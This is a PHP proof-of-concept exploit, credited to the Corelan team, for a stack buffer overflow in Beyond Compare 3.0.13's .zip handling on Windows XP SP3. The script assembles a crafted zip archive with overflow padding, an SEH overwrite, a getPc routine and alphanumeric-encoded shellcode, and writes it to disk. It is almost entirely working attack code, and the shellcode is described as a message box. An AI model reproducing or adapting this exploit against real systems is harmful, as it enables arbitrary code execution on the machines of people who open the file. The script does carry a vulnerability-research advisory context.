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<?php /******************************************************************************** Beyond Compare 3.0.13 b9599 (.zip) 0day Stack Buffer Overflow PoC exploit Author: mr_me - http://net-ninja.net/ Download: http://es.kioskea.net/remote/download_get.php?ID=2321 Platform: Windows XP sp3 Advisory: http://www.corelan.be:8800/advisories.php?id=10-036 Patched in latest version and previous versions Greetz to: Corelan Security Team http://www.corelan.be:8800/index.php/security/corelan-team-members/ Thanks to rick2600 and corelanc0d3r for the getPc ! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Script provided 'as is', without any warranty. Use for educational purposes only. Do not use this code to do anything illegal ! Note : you are not allowed to edit/modify this code. If you do, Corelan cannot be held responsible for any damages this may cause. ********************************************************************************/ echo " |------------------------------------------------------------------| | __ __| | _________________/ /___ _____ / /________ _____ ___| |/ ___/ __ \/ ___/ _ \/ / __ <code>/ __ \ / __/ _ \/ __ </code>/ __ `__ \ | | / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / | | \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/| || | http://www.corelan.be:8800 | |security@corelan.be | || |-------------------------------------------------[ EIP Hunters ]--| ~~> Beyond compare 3.0.13 b9599 (.zip) BOF PoC exploit <~~ "; // local file header $lf_header = "\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE". "\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x08\x00\x00"; // central directory file header $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7". "\xAC\xCE\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x08". "\x00\x00\x00\x00\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00"; // end of central directory record $efcdr_record = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00". "\x42\x08\x00\x00\x32\x08\x00\x00\x00\x00"; // corelan security team - msgbox $sc = "VYhffffk4diFkDql02Dqm0D1CuEE5n3l0G3j3C0S1p02024B0W3y2G2u4D0k4q3c". "0615092E0T0H0l4s4u1k0A2p3G0Y3W3A0u2K2J0P2o4E3U2L370w3N5O3h2p1O2w1o3v4". "T3P4n1K3v4n0z3Y0S0M2k5L4J0m4Y2D103V2s4K4t0Q0U0P7o2L4P2O8K3r0j0y0N0s37". "2l0m5K0Y8M0S5p4V110Q2J182s7M2K344J3j04VYVTX10X41PZ41H4A4I1TA71TADVTZ3". "2PZNBFZDQC02DQD0D13DJEON4F1W9M490R0P08654E2M9Y2F64346K5K450115MN2G0N0". "B0L5C5DKO106737KO9W8P0O2L1L0P184E3U0Q8P1G3L5O9R601E671O9W343QOO113RJO". "LK8M640M1K3WOL1W4Y2O613V2I4K5C0R0S0PMO2O3W2O8K9R1Z1K0S1H3PLMKM5KKK8M0". "S4JJL15612J1267KM2K4D903K03VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQ". "AIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYA". "ZBABABABAB30APB944JB9K7YMY7Y7O1SKWKQ0X6QLT8Y2TMTJT1K3S7SKT013KLUKS3KL". "U3QJR1Y04MT4S1Y6L9UKTLX0I1P096TJPML5N0E5K4O6LMP07MW038R9WJT9K0J4M5NOK". "KKMS3N0L4L8S1N8NLW11JV1V6YKO1SMO1P2OMNKOMK4N8QOO0KKR104POLLZ3XLWJXML6". "SKN03MQMK0GMQ1ZLZ8K6Y4LKPA"; /* Corelan's - getPc routine 0424F020 EB 05JMP SHORT 0424F027 0424F022 5E POP ESI 0424F023 41 INC ECX 0424F024 FFD6 CALL ESI 0424F026 41 INC ECX 0424F027 E8 F6FFFFFFCALL 0424F022 */ // ascii armoured & mangled $getPc = "\x89\x05\x5e\x41\x98\x99\x41\x8a\x94\x98\x98\x98"; $sEh = "\x0d\x05\x01\x10"; // add esp, 8; retn --> 7zxa.dll $trigger = "\x3a"; // build the PoC $junk = str_repeat("\x41", 2064)."\x2e\x74\x78\x74"; $lol = str_repeat("\x41", 223)."\x41\x73\x06\x41".$sEh.$getPc.$sc; $lol .= str_repeat("\x41",2062-strlen($lol)).$trigger."\x2e\x74\x78\x74"; $_____boooom = $lf_header.$junk.$cdf_header.$lol.$efcdr_record; file_put_contents("cst-beyondcompare.zip",$_____boooom); ?> |
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